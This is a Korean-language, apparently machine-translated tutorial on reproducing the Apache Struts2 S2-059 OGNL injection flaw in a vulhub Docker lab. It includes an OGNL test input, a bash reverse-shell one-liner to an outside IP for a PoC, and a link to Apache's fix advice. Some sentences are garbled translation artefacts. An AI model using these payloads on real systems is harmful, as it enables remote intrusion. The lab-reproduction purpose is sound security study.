Struts2는 Apache 소프트웨어 조직에서 출시한 매우 강력한 Java 웹 오픈 소스 프레임워크로, 본질적으로 서블릿과 동일합니다. Struts2는 MVC 아키텍처를 기반으로 하며 명확한 프레임워크 구조를 가지고 있습니다. 일반적으로 모델과 뷰 간의 데이터 상호 작용을 설정하는 컨트롤러로 사용되며 엔터프라이즈 수준의 Java 웹 애플리케이션을 만드는 데 사용됩니다. Java Servlet API를 활용하고 확장하며 개발자가 MVC 아키텍처를 채택하도록 권장합니다. Struts2는 WebWork의 뛰어난 디자인 아이디어를 핵심으로 삼고 Struts 프레임워크의 장점 중 일부를 흡수하며 MVC 디자인 패턴으로 구현된 더욱 깔끔한 웹 애플리케이션 프레임워크를 제공합니다.
공격자는 악의적인 OGNL 표현식을 구성하고 외부 입력에 의해 수정되도록 설정할 수 있으며, OGNL 표현식의 Struts2 태그 속성 값을 실행하여 OGNL 표현식 구문 분석을 유발하여 궁극적으로 원격 코드 실행의 영향.
Struts 2.0.0 – Struts 2.5.20
1 이 취약점 환경은 vulhub 다운로드 주소는 다음과 같습니다:
https: //github .com/vulhub/vulhub
cd vulhub-master/struts2/s2-059
2 docker-compose를 사용하여 사격장 환경을 빠르게 구축하세요
docker-compose up -d
3. 시작 완료 그런 다음 브라우저에서 http://ip:8080/?id=1을 방문하면 테스트 인터페이스
1을 볼 수 있습니다. :8080/ ?id=%25{88*88} 브라우저에서 실행된 88*88이 성공적으로 파싱된 것을 확인할 수 있으며, OGNL 표현식의 Struts2 태그 속성값이 실행되어 OGNL 표현식이 발생하는 것을 확인할 수 있습니다. 구문 분석됩니다.
2. POC를 사용하여 셸을 바운스합니다. 바운스 셸의 페이로드는 base64
bash -i >& /dev/tcp/172.16.1.132/9967 0>&1
base64로 인코딩되어야 합니다. 인코딩 URL:
원래 문장은 이미 링크를 제공하는 완전한 문장입니다. 다시 작성하면 다음과 같을 수 있습니다. 다음은 런타임 실행 페이로드에 대한 정보가 포함된 웹페이지 링크입니다: http://www.jackson-t.ca/runtime-exec-payloads.html. poc의 페이로드를 자신의 페이로드로 수정한 다음 다음을 사용하여 실행하세요. python.shell이 리바운드된 것을 볼 수 있습니다
0x05 수리 제안 |
https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable
위 내용은 Struts2 S2-059 원격 코드 실행 취약점은 어떻게 재현됩니까?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!